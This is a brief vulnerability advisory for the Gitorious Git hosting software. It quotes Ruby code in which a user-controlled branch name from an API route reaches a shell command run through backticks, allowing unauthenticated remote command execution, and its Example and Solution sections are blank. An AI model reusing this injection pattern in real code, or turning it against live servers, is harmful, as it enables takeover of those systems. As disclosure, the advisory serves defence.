[ Overview ]
        Gitorious is a Git repository management software written in Ruby 
        on Rails.

[ Description ]
        Gitorious has been found vulnerable to unauthenticated remote 
        command execution.

        Root cause is in gitorious-mainline/lib/gitorious/git_shell.rb:

        def execute(command)
          Timeout.timeout(20) do
           `#{command}`
        end
        rescue Timeout::Error

        called by app/controllers/api/graphs_controller.rb:

        def graph_log(repo, type, branch = nil)
          args = [repo.full_repository_path, "--decorate=full", "-100",
                  type]
          args << desplat_path(branch) if branch
          git_shell.send(:graph_log, *args)
        end

        where branch is user controlled via route:

        api.connect ':project_id/:repository_id/log/graph/*branch',
        :controller => 'graphs', :action => 'show'

[ Example ]

[ Solution ]
